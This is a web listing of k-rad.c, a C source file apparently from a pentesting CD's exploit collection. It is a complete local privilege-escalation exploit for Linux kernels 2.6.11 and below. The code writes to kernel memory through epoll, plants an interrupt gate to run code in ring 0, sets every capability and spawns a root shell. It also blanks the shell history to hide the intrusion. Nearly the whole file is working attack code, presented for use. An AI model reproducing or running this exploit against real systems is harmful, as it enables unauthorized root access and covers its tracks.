home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / k-rad.c < prev    next >
C/C++ Source or Header  |  2005-03-23  |  8KB  |  308 lines

  1. /*
  2. * k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2
  3. * Discovered and exploit coded Jan 2005 by sd <sd@fucksheep.org>
  4. *
  5. * In memory of pwned.c (uselib)
  6. * - Redistributions of source code is not permitted.
  7. * - Redistributions in the binary form is not permitted.
  8. * - Redistributions of the above copyright notice, this list of conditions,
  9. * and the following disclaimer is permitted.
  10. * - By proceeding to a Redistribution and under any form of the Program
  11. * the Distributor is granting ownership of his Resources without
  12. * limitations to the copyright holder(s).
  13. *
  14. * Since we already owned everyone, theres no point keeping this private
  15. * anymore.
  16. *
  17. * http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
  18. *
  19. * Thanks to our internet hero georgi guninski for being such incredible
  20. * whitehat disclosing one of the most reliable kernel bugs.
  21. * You saved the world, man, we owe you one!
  22. *
  23. * This version is somewhat broken, but skilled reader will get an idea.
  24. * Well, at least let the scriptkids have fun for a while.
  25. *
  26. * Thanks to all who helped me developing/testing this, you know who you are,
  27. * and especially to my gf for guidance while coding this.
  28. *
  29. */
  30.  
  31. #include <stdlib.h>
  32. #include <stdio.h>
  33. #include <sys/types.h>
  34. #include <sys/socket.h>
  35. #include <sys/epoll.h>
  36. #include <sys/mman.h>
  37. #include <sys/resource.h>
  38. #include <linux/capability.h>
  39. #include <asm/unistd.h>
  40. #define __USE_GNU
  41. #include <unistd.h>
  42. #include <errno.h>
  43. #include <signal.h>
  44. #include <string.h>
  45.  
  46.  
  47. #define KRS "\033[1;30m[ \033[1;37m"
  48. #define KRE "\033[1;30m ]\033[0m"
  49. #define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
  50. #define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
  51. #define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
  52.  
  53. #define MAP (0xfffff000 - (1023*4096))
  54. #define MAP_PAE (0xfffff000 - (511*4096))
  55. #define MKPTE(addr) ((addr & (~4095)) | 0x27)
  56.  
  57. #define SET_IDT_GATE(idt,ring,s,addr) \
  58. (idt).off1 = addr & 0xffff; \
  59. (idt).off2 = addr >> 16; \
  60. (idt).sel = s; \
  61. (idt).none = 0; \
  62. (idt).flags = 0x8E | (ring << 5); \
  63.  
  64. struct idtr {
  65. unsigned short limit;
  66. unsigned int base;
  67. } __attribute__ ((packed));
  68.  
  69. struct idt {
  70. unsigned short off1;
  71. unsigned short sel;
  72. unsigned char none,flags;
  73. unsigned short off2;
  74. } __attribute__ ((packed));
  75.  
  76. unsigned long long *clear1, *clear2;
  77.  
  78. #define __syscall_return(type, res) \
  79. do { \
  80. if ((unsigned long)(res) >= (unsigned long)(-125)) { \
  81. errno = -(res); \
  82. res = -1; \
  83. } \
  84. return (type) (res); \
  85. } while (0)
  86.  
  87. #define _capget_macro(type,name,type1,arg1,type2,arg2) \
  88. type name(type1 arg1,type2 arg2) \
  89. { \
  90. long __res; \
  91. __asm__ volatile ( "int $0x80" \
  92. : "=a" (__res) \
  93. : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
  94. __syscall_return(type,__res); \
  95. }
  96.  
  97. static inline _capget_macro(int,capget,void *,a,void *,b);
  98. void raise_cap(unsigned long *ts)
  99. {
  100. /* must be on lower addresses because of kernel arg check :) */
  101. static struct __user_cap_header_struct head;
  102. static struct __user_cap_data_struct data;
  103. static struct __user_cap_data_struct n;
  104. int i;
  105.  
  106. *clear1 = 0;
  107. *clear2 = 0;
  108. head.version = 0x19980330;
  109. head.pid = 0;
  110. capget(&head, &data);
  111. /* scan the thread_struct */
  112. for (i = 0; i < 512; i++, ts++) {
  113. /* is it capabilities block? */
  114. if ((ts[0] == data.effective) &&
  115. (ts[1] == data.inheritable) &&
  116. (ts[2] == data.permitted)) {
  117. /* set effective cap to some val */
  118. ts[0] = 0x12341234;
  119. capget(&head, &n);
  120. /* and test if it has changed */
  121. if (n.effective == ts[0]) {
  122. /* if so, we're in :) */
  123. ts[0] = ts[1] = ts[2] = 0xffffffff;
  124. return;
  125. }
  126. /* otherwise fix back the stuff
  127. (if we've not crashed already :) */
  128. ts[0] = data.effective;
  129. }
  130. }
  131. return;
  132. }
  133.  
  134. extern void stub;
  135. asm (
  136. "stub:;"
  137. " pusha;"
  138. " mov $-8192, %eax;"
  139. " and %esp, %eax;"
  140. " pushl (%eax);"
  141. " call raise_cap;"
  142. " pop %eax;"
  143. " popa;"
  144. " iret;"
  145. );
  146.  
  147. /* write to kernel from buf, num bytes */
  148. #define DIV 256
  149. #define RES 4
  150. int kwrite(unsigned base, char *buf, int num)
  151. {
  152. int efd, c, i, fd;
  153. int pi[2];
  154. struct epoll_event ev;
  155. int *stab;
  156. unsigned long ptr;
  157. int count;
  158. unsigned magic = 0xffffffff / 12 + 1;
  159.  
  160. /* initialize epoll */
  161. efd = epoll_create(4096);
  162. if (efd < 0)
  163. return -1;
  164. ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
  165.  
  166. /* 12 bytes per fd + one more to be safely in stack space */
  167. count = (num+11)/12+RES;
  168.  
  169. /* desc array */
  170. stab = alloca((count+DIV-1)/DIV*sizeof(int));
  171. for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) {
  172. if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
  173. return -1;
  174. send(pi[0], "a", 1, 0);
  175. stab[i] = pi[1];
  176. }
  177. /* highest fd and first descriptor */
  178. fd = pi[1];
  179. /* we've to allocate this separately because we need to have
  180. it's fd preserved - using this we'll be writing actual bytes */
  181. epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
  182. for (i = 0, c = 0; i < (count-1); i++) {
  183. int n;
  184. n = dup2(stab[i/DIV], fd+2+(i % DIV));
  185. if (n < 0)
  186. return -1;
  187. epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
  188. close(n);
  189. }
  190. /* in 'n' we've the latest fd we're using to write data */
  191. for (i = 0; i < ((num+7)/8); i++) {
  192. /* data being written from end */
  193. memcpy(&ev.data, buf + num - 8 - i * 8, 8);
  194. epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
  195.  
  196. /* the actual kernel magic */
  197. ptr = (base + num - (i*8)) - (count * 12);
  198. epoll_wait(efd, (void *) ptr, magic, 31337);
  199. /* don't ask why (rotten rb-trees) :) */
  200. if (i)
  201. epoll_wait(efd, (void *)ptr, magic, 31337);
  202. }
  203.  
  204. close(efd);
  205. for (i = 3; i <= fd; i++)
  206. close(i);
  207. return 0;
  208. }
  209.  
  210. /* real-mode interrupt table fixup - point all interrupts to iret.
  211. let's hope this will shut up apm */
  212. void fixint(char *buf)
  213. {
  214. unsigned *tab = (void *) buf;
  215. int i;
  216.  
  217. for (i = 0; i < 256; i++)
  218. tab[i] = 0x0000400; /* 0000:0400h */
  219. /* iret */
  220. buf[0x400] = 0xcf;
  221. }
  222.  
  223. /* establish pte pointing to virtual addr 'addr' */
  224. int map_pte(unsigned base, int pagenr, unsigned addr)
  225. {
  226. unsigned *buf = alloca(pagenr * 4096 + 8);
  227. buf[pagenr * 1024] = MKPTE(addr);
  228. buf[pagenr * 1024+1] = 0;
  229. fixint((void *)buf);
  230. return kwrite(base, (void *)buf, pagenr * 4096 + 4);
  231. }
  232.  
  233. void error(int d)
  234. {
  235. printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n"
  236. KRAD "Try increase nrpages?\n");
  237. exit(1);
  238. }
  239.  
  240. int exploit(char *top, int npages, int pae)
  241. {
  242. struct idt *idt;
  243. struct idtr idtr;
  244. unsigned base;
  245. char *argv[] = { "k-rad", NULL };
  246. char *envp[] = { "TERM=linux", "PS1=k-rad\\$", "BASH_HISTORY=/dev/null",
  247. "HISTORY=/dev/null", "history=/dev/null",
  248. "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
  249.  
  250. signal(SIGSEGV, error);
  251. signal(SIGBUS, error);
  252.  
  253. /* first compute kernel base */
  254. base = (unsigned long) top;
  255. base += 0x0fffffff;
  256. base &= 0xf0000000;
  257.  
  258. /* get idt descriptor addr */
  259. asm ("sidt %0" : "=m" (idtr));
  260.  
  261. /* get the pte in */
  262. map_pte(base, npages, idtr.base - base);
  263.  
  264. idt = pae?(void *)MAP_PAE:(void *)MAP;
  265.  
  266. /* cleanup the stuff to prevent others spotting the gate
  267. - must be done from ring 0 */
  268. clear1 = (void *) &idt[0x7f];
  269. clear2 = (void *) (base + npages * 4096);
  270.  
  271. SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
  272.  
  273. /* call raise_cap */
  274. asm ("int $0x7f");
  275.  
  276. printf(KRADP "j00 1u(k7 k1d!\n");
  277. setresuid(0, 0, 0);
  278. setresgid(0, 0, 0);
  279. execve("/bin/sh", argv, envp);
  280. exit(0);
  281. }
  282.  
  283. int main(int argc, char **argv)
  284. {
  285. char eater[65536];
  286. int npages = 1;
  287.  
  288. /* unlink(argv[0]); */
  289. // sync();
  290. printf(KRS " k-rad.c - linux 2.6.* CPL 0 kernel exploit " KRE "\n"
  291. KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n");
  292. if (argc == 2) {
  293. npages = atoi(argv[1]);
  294. if (!npages) {
  295. printf(KRADM "Use: %s [number of pages]\n"
  296. "Increase from 1 to 5, use negative number for pae (from -1 to -5).\n"
  297. "The higher number the more likely it will crash\n", argv[0]);
  298. return 1;
  299. }
  300. printf(KRAD "Overwriting %d pages\n", npages<0?-npages:npages);
  301. }
  302.  
  303. exploit(eater, npages<0?-npages:npages,npages<0);
  304. return 0;
  305. }
  306.